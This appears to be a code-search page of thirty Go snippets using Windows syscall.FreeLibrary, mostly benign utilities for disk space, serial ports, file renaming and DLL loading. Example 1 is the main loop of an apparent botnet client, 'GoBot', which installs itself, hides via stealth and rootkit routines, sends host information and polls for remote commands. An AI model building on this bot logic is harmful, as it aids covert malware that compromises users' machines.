Ejemplo n.º 1
0
func main() {
	defer syscall.FreeLibrary(kernel32)
	defer syscall.FreeLibrary(user32)

	if SingleInstance != false {
		err := singleInstance(InstanceKey)
		if err != nil {
		}
	}
	DebugLog("Started New Instance...")
	DebugLog("Generating HWID: " + getUID())
	if USE_Install {
		DebugLog("Installing GoBot...")
		Install()
	}

	if USE_Stealth && USE_Install {
		DebugLog("Stealth Installing GoBot...")
		rootkit.Stealthify()
	}

	if USE_Rootkit && USE_Stealth && USE_Install {
		DebugLog("Installing GoBot and Activating Rootkit...")
		go rootkit.Install()
	}

	//DebugLog("Sleeping for 1 minute...")
	//time.Sleep(60 * time.Second)
	httpPOSTInformation()

	for {
		time.Sleep(ReconnectTime * time.Second)
		httpGETCommands()
	}
}
Ejemplo n.º 2
0
func main() {
	defer syscall.FreeLibrary(kernel32)
	defer syscall.FreeLibrary(user32)

	//fmt.Printf("Retern: %d\n", MessageBox("Done Title", "This test is Done.", MB_YESNOCANCEL))
	num := MessageBox("Done Title", "This test is Done.", MB_YESNOCANCEL)
	if num == 6 {
		fmt.Printf("Return %d\n", num)
	} else {
		fmt.Printf("others")
	}
}
Ejemplo n.º 3
0
func (jst *IDCGeneral) Initdriver(pin *driverlayer.DriverArg) {
	var err error
	jst.termdll, err = syscall.LoadLibrary("third_party/general/sdtapi.dll")
	if err != nil {
		panic("load library error:" + err.Error())
	}

	f := func(n string, res *uintptr) bool {
		*res, err = syscall.GetProcAddress(jst.termdll, n)
		if err != nil {
			syscall.FreeLibrary(jst.termdll)
			panic("load proc " + n + " error:" + err.Error())
		}
		return true
	}

	//获得dll的各种handle
	if f("SDT_OpenPort", &jst.initcomm) &&
		f("SDT_ClosePort", &jst.closecomm) &&
		f("SDT_StartFindIDCard", &jst.findcard) &&
		f("SDT_SelectIDCard", &jst.selectcard) &&
		f("SDT_ReadBaseMsg", &jst.readbasemsg) {
	} else {
		utils.Error("Init shensi Driver error...%s", err.Error())
	}

}
Ejemplo n.º 4
0
// Returns total and free bytes available in a directory.
// It returns free space available to the user (including quota limitations),
// so it can be lower than the free space of the disk.
func DiskSpace(path string) (total, free int64, err error) {
	kernel32, err := syscall.LoadLibrary("Kernel32.dll")
	if err != nil {
		return
	}
	defer syscall.FreeLibrary(kernel32)
	GetDiskFreeSpaceEx, err := syscall.GetProcAddress(
		syscall.Handle(kernel32), "GetDiskFreeSpaceExW")
	if err != nil {
		return
	}
	lpFreeBytesAvailable := int64(0)
	lpTotalNumberOfBytes := int64(0)
	lpTotalNumberOfFreeBytes := int64(0)
	r1, _, e1 := syscall.Syscall6(uintptr(GetDiskFreeSpaceEx), 4,
		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(path))),
		uintptr(unsafe.Pointer(&lpFreeBytesAvailable)),
		uintptr(unsafe.Pointer(&lpTotalNumberOfBytes)),
		uintptr(unsafe.Pointer(&lpTotalNumberOfFreeBytes)), 0, 0)
	if r1 == 0 {
		if e1 != 0 {
			err = error(e1)
		} else {
			err = syscall.EINVAL
		}
		return
	}
	total = lpTotalNumberOfBytes
	free = lpFreeBytesAvailable
	return
}
Ejemplo n.º 5
0
func (p *Dll) FreeLibrary() error {
	if p.IsDllLoaded() {
		p.dllHandler = 0
		return syscall.FreeLibrary(p.dllHandler)
	}
	return nil
}
Ejemplo n.º 6
0
func main() {
	//首先,准备输入参数, GetDiskFreeSpaceEx需要4个参数, 可查MSDN
	// dir := "C:"
	lpFreeBytesAvailable := int64(0) //注意类型需要跟API的类型相符
	lpTotalNumberOfBytes := int64(0)
	lpTotalNumberOfFreeBytes := int64(0)

	//获取方法的引用
	kernel32, err := syscall.LoadLibrary("Kernel32.dll") // 严格来说需要加上 defer syscall.FreeLibrary(kernel32)
	if err != nil {
		log.Println(err.Error())
	}
	defer syscall.FreeLibrary(kernel32)
	GetDiskFreeSpaceEx, err := syscall.GetProcAddress(syscall.Handle(kernel32), "GetDiskFreeSpaceExW")

	//执行之. 因为有4个参数,故取Syscall6才能放得下. 最后2个参数,自然就是0了
	r, _, errno := syscall.Syscall6(uintptr(GetDiskFreeSpaceEx), 4,
		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("C:"))),
		uintptr(unsafe.Pointer(&lpFreeBytesAvailable)),
		uintptr(unsafe.Pointer(&lpTotalNumberOfBytes)),
		uintptr(unsafe.Pointer(&lpTotalNumberOfFreeBytes)), 0, 0)

	if errno != 0 {
		log.Println(errno)
	}
	// 注意, errno并非error接口的, 不可能是nil
	// 而且,根据MSDN的说明,返回值为0就fail, 不为0就是成功
	if r != 0 {
		log.Printf("Free %dmb", lpTotalNumberOfFreeBytes/1024/1024)
	}
}
Ejemplo n.º 7
0
func Rename(src, dst string) error {
	kernel32, err := syscall.LoadLibrary("kernel32.dll")
	if err != nil {
		return err
	}
	defer syscall.FreeLibrary(kernel32)
	moveFileExUnicode, err := syscall.GetProcAddress(kernel32, "MoveFileExW")
	if err != nil {
		return err
	}

	srcString, err := syscall.UTF16PtrFromString(src)
	if err != nil {
		return err
	}

	dstString, err := syscall.UTF16PtrFromString(dst)
	if err != nil {
		return err
	}

	srcPtr := uintptr(unsafe.Pointer(srcString))
	dstPtr := uintptr(unsafe.Pointer(dstString))

	MOVEFILE_REPLACE_EXISTING := 0x1
	flag := uintptr(MOVEFILE_REPLACE_EXISTING)

	_, _, callErr := syscall.Syscall(uintptr(moveFileExUnicode), 3, srcPtr, dstPtr, flag)
	if callErr != 0 {
		return callErr
	}

	return nil
}
Ejemplo n.º 8
0
// *************************************************************************
// We can probably delete this, it is an alternative version in case we have
// problems with simpler version above
// *************************************************************************
func freeDiskSpaceBytes2(dir string) (uint64, error) {
	kernel32, err := syscall.LoadLibrary("Kernel32.dll")
	if err != nil {
		log.Panic(err)
	}
	defer syscall.FreeLibrary(kernel32)
	GetDiskFreeSpaceEx, err := syscall.GetProcAddress(syscall.Handle(kernel32), "GetDiskFreeSpaceExW")
	if err != nil {
		return 0, err
	}
	lpFreeBytesAvailable := int64(0)
	lpTotalNumberOfBytes := int64(0)
	lpTotalNumberOfFreeBytes := int64(0)
	r, a, b := syscall.Syscall6(
		uintptr(GetDiskFreeSpaceEx),
		4,
		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("C:"))),
		uintptr(unsafe.Pointer(&lpFreeBytesAvailable)),
		uintptr(unsafe.Pointer(&lpTotalNumberOfBytes)),
		uintptr(unsafe.Pointer(&lpTotalNumberOfFreeBytes)),
		0,
		0,
	)
	log.Print("Disk space:", r, a, b, lpFreeBytesAvailable, lpTotalNumberOfBytes, lpTotalNumberOfFreeBytes)
	return uint64(lpFreeBytesAvailable), nil
}
Ejemplo n.º 9
0
func Password(prompt string) (string, error) {
	defer syscall.FreeLibrary(kernel32)
	fmt.Print(prompt)

	var pass string
	if os.Getenv("BABUN_HOME") != "" {
		fmt.Scanf("%s", &pass)
		return pass, nil
	}

	var c rune
	for c != '\r' {
		var err error
		c, err = getChar()
		if err != nil {
			return "", err
		}
		fmt.Print("*")
		if c != '\r' {
			pass += string(c)
		}
	}
	fmt.Println()
	return pass, nil
}
Ejemplo n.º 10
0
func testFail() {
	h, err := syscall.LoadLibrary("msvcrt")
	if err != nil {
		fmt.Println(err)
		return
	}

	defer syscall.FreeLibrary(h)

	proc, err := syscall.GetProcAddress(h, "memcpy")
	if err != nil {
		fmt.Println(err)
		return
	}

	// dst := unsafe.Pointer(uintptr(1))
	// src := unsafe.Pointer(uintptr(2))
	// count := unsafe.Pointer(uintptr(4))
	dst := uintptr(1)
	src := uintptr(2)
	count := uintptr(3)

	fmt.Println("test memcpy error in go...")
	r, _, _ := syscall.Syscall(uintptr(proc), 3, dst, src, count)

	fmt.Println(r)
	fmt.Println("should not run here")

}
Ejemplo n.º 11
0
func init() {
	k32, err := syscall.LoadLibrary("kernel32.dll")
	if err != nil {
		panic("LoadLibrary " + err.Error())
	}
	defer syscall.FreeLibrary(k32)
	versionAddr, err = syscall.GetProcAddress(k32, "GetVersion")
}
Ejemplo n.º 12
0
func init() {
	kernel32, loadErr := syscall.LoadLibrary("kernel32.dll")
	if loadErr != nil {
		fmt.Println("loadErr", loadErr)
	}
	defer syscall.FreeLibrary(kernel32)
	_SetConsoleTitle, _ = syscall.GetProcAddress(kernel32, "SetConsoleTitleW")

}
Ejemplo n.º 13
0
func init() {
	k32, err := syscall.LoadLibrary("kernel32.dll")
	if err != nil {
		panic("LoadLibrary " + err.Error())
	}
	defer syscall.FreeLibrary(k32)
	nGetOverlappedResult = getProcAddr(k32, "GetOverlappedResult")
	nCreateEvent = getProcAddr(k32, "CreateEventW")
	nResetEvent = getProcAddr(k32, "ResetEvent")
}
Ejemplo n.º 14
0
func main() {
	k32dll := syscall.MustLoadDLL("kernel32.dll")
	defer syscall.FreeLibrary(k32dll.Handle)

	getVersion, err := k32dll.FindProc("GetVersion")
	CheckError(err)

	ret, _, _ := getVersion.Call()
	printVersion(uint32(ret))

}
Ejemplo n.º 15
0
func initialize() {

	// 初始化蛇的位置和方向、首尾;初始化随机数
	head, tail = loct{4, 4}, loct{4, 4}
	lead, size = 'R', 1
	area[4][4] = 'H'
	rand.Seed(int64(time.Now().Unix()))

	defer syscall.FreeLibrary(kernel32)
	SetConsoleTextAttribute(hCon, 0x0075)
	// 输出初始画面
	fmt.Println("  ^0^$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$^0^ ")
	fmt.Println("  ||                                       ||  ")
	fmt.Println("  ||                                       ||  ")
	fmt.Println("  ||                                       ||  ")
	fmt.Println("  ||                                       ||  ")
	fmt.Println("  ||                                       ||  ")
	fmt.Println("  ||                                       ||  ")
	fmt.Println("  ||                                       ||  ")
	fmt.Println("  ||                                       ||  ")
	fmt.Println("  ||                                       ||  ")
	fmt.Println("  ||                                       ||  ")
	fmt.Println("  ||                                       ||  ")
	fmt.Println("  ||                                       ||  ")
	fmt.Println("  ||                                       ||  ")
	fmt.Println("  ||                                       ||  ")
	fmt.Println("  ||                                       ||  ")
	fmt.Println("  ||                                       ||  ")
	fmt.Println("  ||                                       ||  ")
	fmt.Println("  ||                                       ||  ")
	fmt.Println("  ||                                       ||  ")
	fmt.Println("  ||                                       ||  ")
	fmt.Println("  ||                                       ||  ")
	fmt.Println("  ^0^$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$^0^ ")

	// 使用一个单独的go程来捕捉键盘的动作,因为是单独的,不怕阻塞
	go func() {
		for { // 函数只写入lead,外部只读取lead,无需设锁
			switch byte(C.direct()) {
			case 72:
				lead = 'U'
			case 75:
				lead = 'L'
			case 77:
				lead = 'R'
			case 80:
				lead = 'D'
			case 32:
				lead = 'P'
			}
		}
	}()
}
Ejemplo n.º 16
0
func main() {
	h, err := syscall.LoadLibrary("kernel32.dll")
	if err != nil {
		abort("LoadLibrary", err)
	}
	defer syscall.FreeLibrary(h)
	proc, err := syscall.GetProcAddress(h, "GetVersion")
	if err != nil {
		abort("GetProcAddress", err)
	}
	r, _, _ := syscall.Syscall(uintptr(proc), 0, 0, 0, 0)
	print_version(uint32(r))
}
Ejemplo n.º 17
0
// Full path of the current executable
func GetExecutableFileName() string {
	kernel32, _ := syscall.LoadLibrary("kernel32.dll")
	defer syscall.FreeLibrary(kernel32)
	b := make([]uint16, syscall.MAX_PATH)
	getModuleFileName, _ := syscall.GetProcAddress(kernel32, "GetModuleFileNameW")
	ret, _, callErr := syscall.Syscall(uintptr(getModuleFileName),
		3, 0,
		uintptr(unsafe.Pointer(&b[0])),
		uintptr(len(b)))
	if callErr != 0 {
		panic(fmt.Sprintf("GetModuleFileNameW : err %d", int(callErr)))
	}
	return string(utf16.Decode(b[:ret]))
}
Ejemplo n.º 18
0
func callKernel32Procedure(procedureName string, procedureCaller func(uintptr) error) (err error) {
	kernelHandle, err := syscall.LoadLibrary("kernel32.dll")
	if err != nil {
		return err
	}
	defer syscall.FreeLibrary(kernelHandle)

	procedureAddress, err := syscall.GetProcAddress(kernelHandle, procedureName)
	if err != nil {
		return err
	}

	return procedureCaller(procedureAddress)
}
Ejemplo n.º 19
0
func init() {
	k32, err := syscall.LoadLibrary("kernel32.dll")
	if err != nil {
		panic("LoadLibrary " + err.Error())
	}
	defer syscall.FreeLibrary(k32)

	nSetCommState = getProcAddr(k32, "SetCommState")
	nSetCommTimeouts = getProcAddr(k32, "SetCommTimeouts")
	nSetCommMask = getProcAddr(k32, "SetCommMask")
	nSetupComm = getProcAddr(k32, "SetupComm")
	nGetOverlappedResult = getProcAddr(k32, "GetOverlappedResult")
	nCreateEvent = getProcAddr(k32, "CreateEventW")
	nResetEvent = getProcAddr(k32, "ResetEvent")
}
Ejemplo n.º 20
0
func init() {
	handle, err := syscall.LoadLibrary("kernel32.dll")
	if err == nil {
		nSetCommState = getProcAddr(handle, "SetCommState")
		nEscapeCommFunction = getProcAddr(handle, "EscapeCommFunction")
		nSetCommTimeouts = getProcAddr(handle, "SetCommTimeouts")
		nSetCommMask = getProcAddr(handle, "SetCommMask")
		nSetupComm = getProcAddr(handle, "SetupComm")
		nGetOverlappedResult = getProcAddr(handle, "GetOverlappedResult")
		nCreateEvent = getProcAddr(handle, "CreateEventW")
		nResetEvent = getProcAddr(handle, "ResetEvent")
		syscall.FreeLibrary(handle)
	} else {
		panic("LoadLibrary " + err.Error())
	}
}
Ejemplo n.º 21
0
func ExampleLoadLibrary() {
	h, err := syscall.LoadLibrary("kernel32.dll")
	if err != nil {
		abort("LoadLibrary", err)
	}
	defer syscall.FreeLibrary(h)
	proc, err := syscall.GetProcAddress(h, "GetVersion")
	if err != nil {
		abort("GetProcAddress", err)
	}
	r, _, _ := syscall.Syscall(uintptr(proc), 0, 0, 0, 0)
	major := byte(r)
	minor := uint8(r >> 8)
	build := uint16(r >> 16)
	print("windows version ", major, ".", minor, " (Build ", build, ")\n")
}
Ejemplo n.º 22
0
func init() {
	k32, err := syscall.LoadLibrary("kernel32.dll")
	if err != nil {
		panic(fmt.Sprintf("[ERROR] LoadLibrary %v", err))
	}
	defer syscall.FreeLibrary(k32)

	nSetCommState = getProcAddr(k32, "SetCommState")
	nSetCommTimeouts = getProcAddr(k32, "SetCommTimeouts")
	nSetCommMask = getProcAddr(k32, "SetCommMask")
	nSetupComm = getProcAddr(k32, "SetupComm")
	nGetOverlappedResult = getProcAddr(k32, "GetOverlappedResult")
	nCreateEvent = getProcAddr(k32, "CreateEventW")
	nResetEvent = getProcAddr(k32, "ResetEvent")
	nWaitCommEvent = getProcAddr(k32, "WaitCommEvent")
}
Ejemplo n.º 23
0
func Startui() {

	fmt.Println("                        仿真游戏集合®  By golang")
	fmt.Println("                                  ---by Ahmed_Zetao_Yang")
	fmt.Println()
	fmt.Println()
	fmt.Println()
	fmt.Println()
	fmt.Println()
	fmt.Println()
	fmt.Println()
	fmt.Println()
	fmt.Println()
	fmt.Println()
	fmt.Println()
	fmt.Print("                            ")
	defer syscall.FreeLibrary(kernel32)
	SetConsoleTextAttribute(hCon, 0x001d)
	fmt.Println("正在进入游戏集")

	SetConsoleTextAttribute(hCon, 0x0007) //恢复默认值
	fmt.Print("    ✈")
	for i := 1; i <= 100; i++ {
		time.Sleep(50 * time.Millisecond)
		SetConsoleTextAttribute(hCon, 0x00b0)
		fmt.Print(".")
		SetConsoleTextAttribute(hCon, 0x0007) //恢复默认值
		if i%2 == 0 || i%3 == 2 || i%5 == 0 || i%4 == 0 {
			fmt.Print("\b\b")
		}
		SetConsoleTextAttribute(hCon, 0x00e0)
		fmt.Printf("赶集中%d%%", i)
		SetConsoleTextAttribute(hCon, 0x0007) //恢复默认值
		time.Sleep(80 * time.Millisecond)     //✈✳☁❄☀⤵⤴®✖™✖☑✔
		if i < 10 {
			fmt.Printf("\b\b\b\b\b\b\b") //\b\b\b\b\b=赶集中
		} else {
			fmt.Printf("\b\b\b\b\b\b\b\b")
		}
	}

}
Ejemplo n.º 24
0
func getModuleFileName(buflen uint32, buf *uint16) (n uint32, err error) {
	h, err := syscall.LoadLibrary("kernel32.dll")
	if err != nil {
		return 0, err
	}
	defer syscall.FreeLibrary(h)
	addr, err := syscall.GetProcAddress(h, "GetModuleFileNameW")
	if err != nil {
		return 0, err
	}
	r0, _, e1 := syscall.Syscall(addr, 3, uintptr(0), uintptr(unsafe.Pointer(buf)), uintptr(buflen))
	n = uint32(r0)
	if n == 0 {
		if e1 != 0 {
			err = error(e1)
		} else {
			err = syscall.EINVAL
		}
	}
	return
}
Ejemplo n.º 25
0
func main() {
	h, err := syscall.LoadLibrary("PowerPointWrapper.dll")
	if err != nil {

	}

	defer syscall.FreeLibrary(h)
	procInitialize, err := syscall.GetProcAddress(h, "Initialize")
	if err != nil {
		fmt.Println(err.Error())
	}
	procPresentationCurrentSlideNote, err := syscall.GetProcAddress(h, "PresentationCurrentSlideNote")
	if err != nil {
		fmt.Println(err.Error())
	}
	procUninitialize, err := syscall.GetProcAddress(h, "Uninitialize")
	if err != nil {
		fmt.Println(err.Error())
	}

	var noteBuffer [noteBufferLen]uint8

	_, _, err = syscall.Syscall(uintptr(procInitialize), 0, 0, 0, 0)

	for i := 0; i < 3; i++ {
		noteLen, _, err := syscall.Syscall(uintptr(procPresentationCurrentSlideNote), 2, uintptr(unsafe.Pointer(&noteBuffer)), uintptr(noteBufferLen), 0)
		if err != 0 {
			fmt.Println(err)
			continue
		}

		note := string(noteBuffer[:int(noteLen)])
		replacedNote := strings.Replace(note, "\r", "\n", -1)
		//writeLines([]string{note}, "b.txt")

		fmt.Printf("note: `%s`nstrlen: %d\n", replacedNote, len(note))
	}
	_, _, err = syscall.Syscall(uintptr(procUninitialize), 0, 0, 0, 0)

}
Ejemplo n.º 26
0
func Password(prompt string) (string, error) {
	defer syscall.FreeLibrary(kernel32)
	fmt.Print(prompt)

	var pass string
	if os.Getenv("BABUN_HOME") != "" {
		fmt.Scanf("%s", &pass)
		return pass, nil
	}
	if strings.HasSuffix(os.Getenv("SHELL"), "/usr/bin/bash") {
		var c rune
		var password string
		MakeRaw(os.Stdin)
		defer Restore(os.Stdin)
		for c != '\n' {
			fmt.Scanf("%c", &c)
			fmt.Print("*")
			password = fmt.Sprintf("%s%c", password, c)
		}
		fmt.Println()
		return strings.TrimSpace(password), nil
	}

	var c rune
	for c != '\r' {
		var err error
		c, err = getChar()
		if err != nil {
			return "", err
		}
		fmt.Print("*")
		if c != '\r' {
			pass += string(c)
		}
	}
	fmt.Println()
	return pass, nil
}
Ejemplo n.º 27
0
func (jst *ICGeneral) Initdriver(pin *driverlayer.DriverArg) {
	var err error
	jst.winsdll, err = syscall.LoadLibrary("third_party/general/iccardreader.dll")
	if err != nil {
		panic("load library error:" + err.Error())
	}

	f := func(n string, res *uintptr) bool {
		*res, err = syscall.GetProcAddress(jst.winsdll, n)
		if err != nil {
			syscall.FreeLibrary(jst.winsdll)
			panic("load proc " + n + " error:" + err.Error())
		}
		return true
	}

	//获得dll的各种handle
	if f("ReadICCard", &jst.readcard) {
	} else {
		utils.Error("Init general Driver error...%s", err.Error())
	}

}
Ejemplo n.º 28
0
func FreeSpace(path string) (int64, error) {
	kernel32, err := syscall.LoadLibrary("Kernel32.dll")
	if err != nil {
		return 0, err
	}
	defer syscall.FreeLibrary(kernel32)

	GetDiskFreeSpaceEx, err := syscall.GetProcAddress(syscall.Handle(kernel32), "GetDiskFreeSpaceExW")
	if err != nil {
		return 0, err
	}
	lpFreeBytesAvailable := int64(0)
	if r1, _, e1 := syscall.Syscall6(uintptr(GetDiskFreeSpaceEx), 4,
		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(path))),
		uintptr(unsafe.Pointer(&lpFreeBytesAvailable)), 0, 0, 0, 0); r1 == 0 {
		if e1 != 0 {
			return 0, error(e1)
		} else {
			return 0, syscall.EINVAL
		}
	}
	return lpFreeBytesAvailable, nil
}
Ejemplo n.º 29
0
func FreeLib() {
	fmt.Print("Ending\n")
	syscall.FreeLibrary(miflib)
	syscall.FreeLibrary(user32)
}
Ejemplo n.º 30
0
func (dllCls *DLLClass) Free() {
	syscall.FreeLibrary(syscall.Handle(dllCls.Handle))
}